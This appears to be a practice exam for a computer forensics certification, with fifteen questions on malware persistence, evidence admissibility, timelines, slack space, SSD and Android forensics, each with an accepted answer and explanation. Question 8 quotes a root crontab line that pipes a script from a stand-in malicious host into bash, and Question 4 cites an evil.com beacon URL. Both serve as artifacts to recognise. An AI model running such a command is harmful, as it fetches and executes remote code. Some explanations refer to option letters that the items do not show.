CHFI Practice Test 44 — 15 Questions

Question 1

A security analyst suspects malware infection on a Windows workstation. They run Process Monitor and observe that a process named 'svch0st.exe' creates a mutex named 'Global\Mutex_1234' and writes to the registry key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run'. Which malware persistence mechanism is being used?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Run key persistence. The process 'svch0st.exe' writes to the registry key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run', which is a classic Run key used for automatic program execution at user logon. This is the most common malware persistence mechanism, as any executable referenced there will start each time the user logs in. The creation of a mutex named 'Global\Mutex_1234' is a common anti-reinfection technique to ensure only one instance of the malware runs, but the persistence is established via the Run key.

Answer

Scheduled task creation

Answer

Service installation

Answer

DLL search order hijacking

Question 2

During a forensic investigation, a lawyer objects to the admissibility of a log file on the grounds that it is hearsay. Which of the following is the BEST argument to overcome this objection?

Accepted Answer

The log file qualifies as a business record exception to the hearsay rule.. The log file is admissible under the business records exception to the hearsay rule (Federal Rule of Evidence 803(6)). This exception applies because logs are created automatically or by a person with knowledge, near the time of the event, in the regular course of business, and it is the regular practice to make such records. In digital forensics, system logs (e.g., Windows Event Logs, syslog) are routinely admitted under this exception, as they are generated by the system without the declarant's bias or memory issues.

Answer

The log file is circumstantial evidence, not hearsay.

Answer

The log file is direct evidence of the intrusion.

Answer

The log file is the best evidence because it is an original record.

Question 3

During a database forensic investigation, an analyst recovers a MySQL binary log file (binlog.000012) from a compromised server. Which command should the analyst use to extract the actual SQL statements from this binary log in a human-readable format?

Accepted Answer

mysqlbinlog binlog.000012. The `mysqlbinlog` utility is specifically designed to parse MySQL binary log files and output the contained SQL statements in a human-readable format. Binary logs record all data-changing operations (e.g., INSERT, UPDATE, DELETE) in a proprietary binary format, so only `mysqlbinlog` can decode them back into readable SQL for forensic analysis.

Answer

mysqldump --binlog binlog.000012

Answer

mysqlimport --binlog binlog.000012

Answer

mysqlcheck --binlog binlog.000012

Question 4

During a malware analysis, a suspicious executable is detected. The analyst runs `strings` on the binary and finds references to `SOFTWARE\Microsoft\Windows\CurrentVersion\Run` and a URL `http://evil.com/beacon`. What does this indicate?

Accepted Answer

The malware establishes persistence and communicates with a remote server. The presence of a registry key reference to `SOFTWARE\Microsoft\Windows\CurrentVersion\Run` indicates the malware is configured to launch automatically at system startup, establishing persistence. The embedded URL `http://evil.com/beacon` suggests the malware will make outbound HTTP requests to a remote command-and-control (C2) server for beaconing or data exfiltration. Together, these artifacts confirm persistence and remote communication, making option C correct.

Answer

The malware is a file infector that modifies system binaries

Answer

The malware uses a mutex for synchronization

Answer

The malware performs privilege escalation via a known vulnerability

Question 5

An examiner is analyzing an NTFS volume and suspects that a suspect hid data using Alternate Data Streams (ADS). Which tool or method is MOST appropriate to list all ADS on the volume?

Accepted Answer

Execute 'dir /r' in a Windows command prompt on the mounted image. The 'dir /r' command in Windows Command Prompt is specifically designed to display alternate data streams (ADS) on NTFS volumes. It lists all files and directories, including any hidden streams attached to them, making it the most direct and appropriate method for an examiner to enumerate all ADS on a mounted NTFS volume.

Answer

Run 'ls -la' from a Linux forensic environment

Answer

Use 'icacls' to view security descriptors and detect ADS

Answer

Mount the image in Autopsy and run the 'Find File' module

Question 6

Which THREE of the following correctly describe the rules of evidence as applied to digital forensics? (Select three.)

Accepted Answer

Evidence must be relevant to the case and obtained through lawful means. Option A is correct because the fundamental rules of evidence require that any item, including digital artifacts, be both relevant to the matter at hand and collected through lawful means (e.g., valid warrants, consent, or legal exceptions), otherwise it can be excluded. Option D is correct because the evidence must be complete and not misleading — partial or selectively presented data (such as a truncated log or an edited image) can create a false impression and is therefore inadmissible or subject to challenge. Option E is correct because digital evidence must be authentic (shown to be what it purports to be) and its integrity must be verifiable, typically through hash values (e.g., MD5, SHA-256) and a documented chain of custody. Option B is incorrect because circumstantial evidence is generally admissible in both criminal and civil cases, including digital forensics, and is often used to infer facts when direct evidence is unavailable. Option C is incorrect because hearsay is not always inadmissible; numerous exceptions and exemptions exist (e.g., business records, excited utterances, and machine-generated records), and digital evidence frequently falls under such exceptions.

Answer

Circumstantial evidence is not allowed in digital forensics cases

Answer

Hearsay evidence is always inadmissible in court

Question 7

A forensic analyst is performing timeline analysis on a compromised system. Which tool is specifically designed to parse multiple log sources and create a super timeline?

Accepted Answer

log2timeline. log2timeline (now part of the plaso framework) is specifically designed to parse multiple log sources—such as Windows Event Logs, syslog, web server logs, and file system metadata—and aggregate them into a single super timeline. This enables forensic analysts to correlate events across disparate logs for timeline analysis, which is exactly the requirement in the question.

Answer

Sleuth Kit

Answer

Volatility

Answer

Wireshark

Question 8

During an incident response, an analyst finds the following entry in /etc/crontab: */5 * * * * root /bin/bash -c 'curl -s http://malicious.com/script.sh | bash'. What is the MOST likely purpose of this entry?

Accepted Answer

Persistence mechanism to maintain access. The crontab entry executes a command every 5 minutes that downloads and runs a script from a remote server. This is a classic persistence technique used by attackers to ensure that even if the initial access vector is removed, the malicious code will be re-executed on a regular schedule, maintaining their foothold on the system.

Answer

Log cleanup tool

Answer

System backup script

Answer

Software update process

Question 9

A forensic analyst is preparing to acquire an image from a suspect's hard drive. The analyst connects the drive to a write blocker, then uses FTK Imager to create a forensic image. Which hashing algorithm is commonly used by FTK Imager to verify image integrity?

Accepted Answer

MD5. FTK Imager uses MD5 (Message Digest 5) as its default hashing algorithm to verify the integrity of forensic images. MD5 produces a 128-bit hash value that uniquely represents the data, allowing the analyst to confirm that the acquired image is an exact bit-for-bit copy of the original drive. While SHA-1 is also supported, MD5 is the algorithm most commonly associated with FTK Imager's verification process.

Answer

AES

Answer

RSA

Answer

Blowfish

Question 10

Which TWO of the following are anti-forensic techniques used by malware to evade detection?

Accepted Answer

Packing. Packing (A) is an anti-forensic technique because it compresses or encrypts the malware's executable with a runtime unpacker stub, hiding strings, imports, and code from static analysis tools such as disassemblers and signature scanners. Timestomping (C) is anti-forensic because malware deliberately modifies file system timestamps (e.g., $STANDARD_INFORMATION vs. $FILE_NAME attributes in NTFS) to make malicious files appear older or to blend with legitimate files, frustrating timeline analysis. Logging errors (B) is not anti-forensic; it is a normal software development or debugging practice that actually leaves evidence behind. Encryption of communication (D) is a defense-evasion/confidentiality technique for command-and-control traffic, not an anti-forensic technique targeting investigator artifacts. Creating mutexes (E) is a host-based evasion technique to prevent multiple malware instances from running, not a method to defeat forensic analysis.

Answer

Logging errors

Answer

Encryption of communication

Answer

Creating mutexes

Question 11

Which TWO of the following are types of slack space that can contain forensic evidence?

Accepted Answer

Volume slack. Volume slack (A) is correct because it is the unused space remaining at the end of a volume after the last allocated cluster, which can retain residual data from deleted or resized partitions and is a recognized forensic artifact. RAM slack (E) is correct because it is the portion of the final sector of a file that is padded with data from memory when the file does not fill the sector, potentially capturing volatile memory contents that persist on disk. Index slack (B) is not a standard slack-space type; index entries are metadata structures, not slack areas. Swap space (C) is a paging file area, not a category of file-system slack, though it can hold evidence it is not classified as slack space. Buffered slack (D) is not a recognized forensic slack-space term.

Answer

Index slack

Answer

Swap space

Answer

Buffered slack

Question 12

Which TWO of the following are challenges in SSD forensics compared to traditional HDD forensics? (Choose two.)

Accepted Answer

Wear leveling distributes data across blocks, making it harder to recover specific files. Option B is correct because wear leveling is an SSD controller function that deliberately writes data to different physical NAND blocks to spread erase cycles evenly, so logical addresses no longer map predictably to physical locations and file fragments become scattered, making recovery of specific files far harder than on an HDD where LBAs map directly to fixed platters/sectors. Option C is correct because the TRIM command, issued by the OS (e.g., via ATA DATA SET MANAGEMENT or SCSI UNMAP), tells the SSD controller that deleted blocks are no longer needed, allowing garbage collection to erase them almost immediately, which destroys residual data that would otherwise remain recoverable on an HDD until overwritten. Option A is wrong because SSDs are fully compatible with standard forensic imaging tools such as dd, FTK Imager, and EnCase; the challenge is write-blocking and controller behavior, not tool compatibility. Option D is wrong because capacity is not a forensic challenge unique to SSDs, and SSDs are not inherently larger than HDDs. Option E is wrong because physical damage resistance is not a recognized forensic challenge distinguishing SSDs from HDDs in this context.

Answer

SSDs are not compatible with forensic imaging tools

Answer

SSDs have larger storage capacity than HDDs

Answer

SSDs are more resistant to physical damage

Question 13

A malware analyst is performing dynamic analysis of a suspected trojan in a sandbox environment. Which of the following behaviours are strong indicators that the malware is establishing persistence on the infected system? (Select THREE.)

Accepted Answer

Creating a scheduled task that runs at system startup. Option A is correct because creating a scheduled task configured to trigger at system startup (e.g., via schtasks or the Task Scheduler COM API with a boot/logon trigger) is a classic persistence mechanism that ensures the trojan executes automatically after reboots. Option B is correct because registering a Windows service (e.g., through CreateService or sc.exe) allows the malware to be launched by the Service Control Manager at boot, providing durable, privileged persistence. Option D is correct because writing a value under HKCU\Software\Microsoft\Windows\CurrentVersion\Run causes the referenced executable to be launched automatically at user logon, a well-known autostart persistence location. Option C is not a persistence indicator; an outbound connection to port 443 typically reflects command-and-control or exfiltration activity, not survival across reboots. Option E is not a persistence indicator either; creating a named mutex such as Global\MyMutex is commonly used for single-instance enforcement or anti-analysis/anti-sandbox checks, not for maintaining execution on the host.

Answer

Connecting to an IP address on port 443

Answer

Creating a mutex named 'Global\MyMutex'

Question 14

A malware analyst is performing static analysis on a suspicious PE file. Which TWO of the following are examples of anti-forensic techniques that the malware might use to hinder analysis? (Select TWO.)

Accepted Answer

Packing or obfuscating the malicious code. Option B is correct because packing or obfuscating the malicious code (e.g., with UPX, Themida, or custom crypter) hides the true code and strings from static analysis tools, forcing the analyst to unpack or emulate before meaningful inspection is possible. Option E is correct because timestomping deliberately alters a file's $STANDARD_INFORMATION and/or $FILE_NAME timestamps (creation, modification, access, MFT entry change) to mislead investigators about when the malware was placed or executed, which is a classic anti-forensic technique. Option A is not an anti-forensic technique against static analysis; TLS is simply an encrypted transport that hinders network traffic inspection, not examination of the PE file itself. Option C is a persistence mechanism (e.g., Run keys, Services), not an anti-forensic measure. Option D is normal runtime behavior for many programs and does not specifically hinder static analysis of the PE file.

Answer

Using TLS encryption for network communication

Answer

Creating registry keys for persistence

Answer

Writing temporary files to the %TEMP% directory

Question 15

A forensic examiner is analyzing an Android device for potential evidence of a specific app’s data. Which TWO locations within the device’s file system would MOST likely contain application-specific data?

Accepted Answer

/data/data//. Option A, /data/data//, is correct because this is the primary internal storage location where an Android app's private data—such as SQLite databases, shared_preferences XML files, and cached files—is stored under its package name, accessible only with root or a forensic image. Option D, /sdcard/Android/data//, is correct because it is the app-specific external storage directory (on the emulated /sdcard partition) where apps commonly place user-generated files, downloads, and caches that are often recoverable without root. Option B, /recovery/, is not app-specific data; it holds the recovery partition image used for system recovery and OTA updates. Option C, / (root directory), is the top-level filesystem hierarchy containing system directories, not a location for a particular app's data. Option E, /system/app/, contains pre-installed system APK files, not the runtime data generated by a specific application.

Answer

/recovery/

Answer

/ (root directory)

Answer

/system/app/